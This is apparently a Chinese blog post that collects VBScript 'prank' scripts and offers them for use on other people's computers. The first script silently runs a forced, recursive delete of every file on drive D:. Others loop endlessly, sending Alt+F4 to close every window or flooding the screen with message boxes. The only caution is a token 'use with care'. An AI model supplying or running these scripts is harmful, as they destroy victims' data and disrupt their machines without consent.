博客超链接首页
博客超链接资源

vbs整人代码大集合/不要乱使用!

  • 前言
  • 一、删除D:\所有文件
  • 二、不断弹出窗口
  • 三、不断按下alt+f4 (开什么都关闭……)
  • 四、按999次回车
  • 五、关不掉的窗口
  • 总结

前言

作为一个真正的程序员,首先应该尊重编程,热爱你所写下的程序,他是你的伙伴,而不是工具。

——王文峯


提示:以下是本篇文章正文内容,下面案例可供参考

一、删除D:\所有文件

dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

二、不断弹出窗口

while(1)
msgbox "哈哈 正在找你!!"
loop

三、不断按下alt+f4 (开什么都关闭……)

dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
while(1)
WSHshell.SendKeys "%{F4}"
loop

四、按999次回车

dim s
do until s=999
s=s+1
msgbox "键盘,给我按999次回车吧!",64
loop

五、关不掉的窗口

WScript.Echo("嘿,谢谢你打开我哦,我等你很久拉!"&TSName)
WScript.Echo("你是可爱的小朋吗?")
WScript.Echo("哈,我想你拉,这你都不知道吗?")
WScript.Echo("怎么才来,说~是不是不关心我")
WScript.Echo("哼,我生气拉,等你这么久,心都凉啦。")
WScript.Echo("小强很生气,后果很严重哦。")
WScript.Echo("嘿嘿!你也会很惨滴哦")
WScript.Echo("是不是想清除我?")
WScript.Echo("那你要点上50下哦,不过会给你惊喜滴")
WScript.Echo("还剩49下,快点点哦")
WScript.Echo("还剩48下,快点,小笨蛋!")
WScript.Echo("还剩47下对,就这样快点点!")
WScript.Echo("还剩46下。你啊就是笨,要快哦,我先不打扰你工作。")
WScript.Echo("还剩45下,记得要快哦!")
WScript.Echo("还剩43下")
WScript.Echo("还剩42下")
WScript.Echo("还剩41下")
WScript.Echo("还剩40下")
WScript.Echo("还剩39下")
WScript.Echo("还剩38下")
WScript.Echo("还剩37下")
WScript.Echo("还剩36下")
WScript.Echo("还剩35下")
WScript.Echo("还剩34下")
WScript.Echo("还剩33下")
WScript.Echo("还剩32下")
WScript.Echo("还剩30下")
WScript.Echo("还剩29下")
WScript.Echo("还剩28下")
WScript.Echo("还剩27下")
WScript.Echo("还剩26下")
WScript.Echo("还剩25下")
WScript.Echo("还剩24下")
WScript.Echo("还剩23下")
WScript.Echo("还剩22下")
WScript.Echo("还剩21下")
WScript.Echo("还剩20下")
WScript.Echo("还剩19下")
WScript.Echo("还剩18下")
WScript.Echo("还剩17下")
WScript.Echo("还剩16下")
WScript.Echo("还剩15下")
WScript.Echo("还剩14下")
WScript.Echo("还剩13下停停!!!慢点,我有话要说")
WScript.Echo("还剩12下,你继续点我就会消失滴")
WScript.Echo("还剩11下,以后就看不到我拉。555555")
WScript.Echo("还剩10下,你现在可以选择停止!")
WScript.Echo("还剩9下。你还点啊,不要我拉?")
WScript.Echo("还剩8下,有点伤心拉,干嘛丢弃人家")
WScript.Echo("还剩7下。疯了,你有点负意!")
WScript.Echo("还剩6下。对。你就点吧,我恨你!")
WScript.Echo("还剩5下,不明白,删除我你就好吗?")
WScript.Echo("还剩4下!真要删除我?")
WScript.Echo("还剩3下。可是我真的很眷恋你。。。")
WScript.Echo("还剩2下。不要这么绝情嘛,人家是爱你的!")
WScript.Echo("还剩1下。哼,既然你这么绝情。也别怪我无义!!!")
WScript.Echo("我本因该消失的,不过我留恋你滴芳容,上帝又给了一次机会。")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")

总结

代码很强大,使用需谨慎!!!

vbs整人代码大集合(多年以来的整合)相关推荐

  1. 计算机视觉、机器学习相关领域论文和源代码大集合--持续更新……(转载)

    计算机视觉.机器学习相关领域论文和源代码大集合--持续更新-- zouxy09@qq.com http://blog.csdn.net/zouxy09 注:下面有project网站的大部分都有pape ...

  2. 笔记3:关于VBS整人代码的浅谈

    今天又看到有人在群里刷屏了.就想到了以前玩过的发QQ骚扰信息程序了.其实蛮简单的 和网上很多的整人代码差不多 一.直接在网上搜索"VBS整人代码",然后找到有用的代码复制着. ps ...

  3. 笔记3:关于VBS整人代码

    今天又看到有人在群里刷屏了.就想到了以前玩过的发QQ骚扰信息程序了.其实蛮简单的 和网上很多的整人代码差不多 一.直接在网上搜索"VBS整人代码",然后找到有用的代码复制着. ps ...

  4. 计算机视觉、机器学习相关领域论文和源代码大集合_拔剑-浆糊的传说_新浪博客...

    http://blog.csdn.net/zouxy09/article/details/8550952 顶] 计算机视觉.机器学习相关领域论文和源代码大集合--持续更新-- 计算机视觉.机器学习相关 ...

  5. VBS整人代码(1)。

    首先,我们要知道什么是VBS代码. 什么是VBScript呢? VBScript的全称是:Microsoft Visual Basic Script Editon.(微软公司可视化BASIC脚本版). ...

  6. 经典ASP代码大集合

    1. οncοntextmenu="window.event.returnvalue=false" 将彻底屏蔽鼠标右键 <table border οncοntextmenu ...

  7. vbs整人代码大全(强制自动关机,打开无数计算器)等.

    一. set s=createobject("wscript.shell") set bag=getobject("winmgmts:\\.\root\cimv2&quo ...

  8. vbs整人代码蓝屏_愚人节必备,教你制作整人神器,用代码实现计算机蓝屏

    计算机蓝屏简称BSOD,又叫蓝屏死机.蓝屏死机提示已经成为Microsoft Windows操作系统标志性的画面.蓝屏死机主要是Microsoft Windows 系列操作系统为保护电脑数据文件不被破 ...

  9. iOS 初学者功能代码大集合,个人笔记

    UitableView cell 高度自适应 Masonry UILabel iOS  UI控件 1.UIButton按钮 2.UILabel文本标签 3.UITextField文本输入框 4.UII ...

最新文章

  1. c语言Winmain 错误,C语言编译错误 undefined reference to `WinMain@16'
  2. centos -bash: vim: command not found
  3. 最简单的java单例
  4. pg数据库json数据类型_PostgreSQL与开发者起舞—让数据库更好服务于开发
  5. python经典书籍推荐:python编码规范
  6. php将文件转换为utf-8,PHP-将邮件正文转换为UTF-8
  7. int 转string
  8. 'WebElement' object is not iterable
  9. 百度的搜索好厉害,刚刚发文就能搜索到
  10. JavaScript制作页面跳转效果
  11. el-select 默认选中url参数对应的选项
  12. cat 几行_CAT工具教程与解疑—SDL Trados 2021来了,分享一些简单测评体验
  13. ubuntu环境下文件夹压缩与解压缩
  14. VMware虚拟机里如何改硬盘型号躲避防封检测
  15. 面向三种典型程序语言的中小学计算思维课堂设计研究
  16. 全新英特尔vPro平台,为数智时代保驾护航
  17. Java:计算圆的面积和周长
  18. Max()函数与Min()函数
  19. 解决one-stage目标检测正负样本不均衡的另类方法--Gradient Harmonized
  20. 新增11条新规约,阿里Java开发手册|黄山版,拥抱规范,远离伤害

热门文章

  1. MySQL中关于字符编码的配置
  2. 华为计算机网络认证软件,华为认证入门计算机网络基础
  3. [渝粤教育] 天水师范学院 人文地理学 参考 资料
  4. PMP考试有哪些科目
  5. Play Framework
  6. 2所非211院校挺进全球高校600强,甩开一众985 | 泰晤士世界大学排行榜出炉
  7. 计算机黑屏修改设置,电脑黑屏密码怎么设置
  8. cve查询_CVE年满21岁:如何实现这一里程碑
  9. 解决enter键Typora不能单换行的问题
  10. 社区信息综合管理平台